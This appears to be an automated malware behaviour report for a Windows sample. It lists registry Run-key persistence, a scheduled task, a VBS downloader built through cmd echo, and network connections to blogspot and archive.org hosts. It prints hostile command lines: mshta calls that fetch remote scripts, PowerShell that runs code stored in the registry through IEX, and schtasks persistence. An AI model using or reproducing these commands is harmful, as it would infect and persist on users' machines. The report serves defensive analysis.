Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'DLESOLCRETSAM' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).MSOFFICELO)|IEX"", 0 : wi...
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'dkkkksakdosexography' = '"mshta""http://1230948%1230948@backbones1234511a.blogspot.com/p/divinefriend1backup.html"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '"mshta""http://1230948%1230948@startthepartyup.blogspot.com/p/backbone15.html"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'nunukhaoo' = '"mshta""http://1230948%1230948@ghostbackbone123.blogspot.com/p/ghostbackup14.html"'
Creates or modifies the following files
- <SYSTEM32>\tasks\wind0wsuplate
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im winword.exe
- '<SYSTEM32>\taskkill.exe' /f /im EXCEL.exe
Executes the following (exploit)
- '<SYSTEM32>\mshta.exe' HTTp://j.#p/ytuiwqjslkawqtyiwqbhj
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
Modifies file system
Creates the following files
- C:\users\public\siggiaw.vbs
Deletes the following files
- C:\users\public\siggiaw.vbs
Network activity
Connects to
- 'j.#p':80
- 'aj#######kahowahun.blogspot.com':443
- 'bl##ger.com':443
- 're#####es.blogblog.com':443
- 'ia#####8.us.archive.org':443
- 'ia#####3.us.archive.org':443
- 'cr#.#odaddy.com':80
TCP
- 'aj#######kahowahun.blogspot.com':443
- 'bl##ger.com':443
- 'ia#####8.us.archive.org':443
- 'ia#####3.us.archive.org':443
UDP
- DNS ASK j.#p
- DNS ASK aj#######kahowahun.blogspot.com
- DNS ASK bl##ger.com
- DNS ASK re#####es.blogblog.com
- DNS ASK ia#####8.us.archive.org
- DNS ASK ia#####3.us.archive.org
- DNS ASK cr#.#odaddy.com
Miscellaneous
Searches for the following windows
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\SiggiaW.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://12###########48@randikhanaekminar.blogspot.co...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW....' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://12###########48@randikhanaekminar.blogspot.co...
- '<SYSTEM32>\cmd.exe' /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW....
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im winword.exe & taskkill /f /im EXCEL.exe
